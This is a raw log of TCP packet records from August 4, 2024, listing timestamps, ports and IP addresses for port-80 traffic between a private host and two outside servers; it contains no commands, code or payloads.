Aug 4, 2024 10:57:48.728369951 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728404045 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728441000 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728480101 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728533983 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728569984 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728612900 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728648901 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728682041 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728718996 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728776932 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728810072 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728852987 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728888035 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728920937 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728955984 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.728993893 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729027987 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729080915 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729115009 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729146957 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729187965 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729223967 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729259014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729291916 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729329109 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729362011 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729398966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729433060 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729468107 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729504108 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729538918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729573011 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729609966 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729641914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729676962 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729711056 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729748011 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729780912 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729826927 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729856014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729892969 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729928970 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729960918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.729999065 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730031013 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730065107 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730087996 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730102062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730139017 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730170012 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730175972 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730210066 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730228901 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730245113 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730252981 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730283976 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730319023 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730355024 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730370045 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730393887 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730396032 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730437040 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730474949 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730509043 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730523109 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730547905 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730556965 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.730602980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:48.730834961 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.738075972 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:48.738126040 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.072623968 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072689056 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072736979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072753906 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072756052 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.072779894 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072794914 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.072799921 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072818041 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072843075 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072851896 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.072892904 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.072912931 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072928905 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072946072 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072959900 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.072984934 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073010921 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073045969 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073064089 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073079109 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073096037 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073108912 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073115110 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073141098 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073172092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073189020 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073206902 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073220968 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073232889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073247910 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073250055 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073266983 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073285103 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073297024 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073302031 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073319912 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073329926 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073364019 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073391914 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073416948 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073431969 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073447943 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073463917 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073466063 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073482037 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073491096 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073499918 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073514938 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073527098 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073533058 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073549032 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073558092 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073569059 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073590994 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073704004 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073721886 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073739052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073764086 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073775053 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073793888 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073793888 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073813915 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073829889 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073836088 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073847055 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073867083 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073892117 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073918104 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073918104 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073934078 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073950052 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073966980 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.073981047 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.073985100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074007034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074009895 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074050903 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074064016 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074079037 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074095011 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074112892 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074129105 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074137926 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074162006 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074167013 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074178934 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074193954 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074210882 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074225903 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074225903 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074243069 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074244022 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074259043 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074270010 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074278116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074294090 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074300051 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074311018 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074328899 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074333906 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074440956 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074455976 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074471951 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074486017 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074490070 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074506998 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074515104 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074528933 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074570894 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074589014 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074604988 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074619055 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074624062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074640989 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074645042 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074717045 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074734926 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074749947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074764967 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074776888 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074793100 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074796915 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074810028 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074812889 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074826002 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074843884 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074855089 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074860096 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074877977 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074894905 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074903965 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074912071 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074927092 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074937105 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074944019 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074953079 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.074960947 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074980021 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.074989080 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075000048 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075033903 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075090885 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075107098 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075124979 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075150013 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075175047 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075229883 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075246096 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075261116 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075279951 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075293064 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075321913 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075329065 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075345039 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075360060 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075376034 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075390100 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075392962 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075412989 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.075418949 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075448990 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.075475931 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.080980062 CEST	80	49756	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:49.081861973 CEST	49756	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:49.229310989 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:49.235023975 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:49.235094070 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:49.235245943 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:49.240909100 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672144890 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672183037 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672219038 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672252893 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672261953 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.672286987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672317982 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.672322035 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672358990 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672378063 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.672393084 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672426939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672457933 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.672471046 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.672502041 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.672665119 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.681370020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.681392908 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.681430101 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.733344078 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.858062983 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858100891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858135939 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858268976 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858299017 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.858304024 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858340979 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858352900 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.858393908 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858398914 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.858431101 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.858715057 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.859987020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.860038996 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.860073090 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.860084057 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.860106945 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.860141039 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:50.860155106 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:50.905325890 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.206801891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.206862926 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.206897020 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.206934929 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.206934929 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.206991911 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.207129002 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.207163095 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.207217932 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.207242012 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.207293987 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.207330942 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.207353115 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.208401918 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.208472967 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.208498955 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.208528042 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.208564043 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.208592892 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.208600998 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.208656073 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.293035030 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.342694998 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.555459023 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555547953 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555584908 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555598974 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.555668116 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555701971 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555721998 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.555804968 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555865049 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.555883884 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555921078 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.555964947 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.556020021 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556054115 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556097984 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.556564093 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556623936 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556660891 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556683064 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.556735039 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556771994 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.556790113 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.608315945 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.641694069 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.681420088 CEST	49757	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:51.904799938 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.904843092 CEST	80	49757	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:51.904895067 CEST	49757	80	192.168.2.7	27.221.16.179
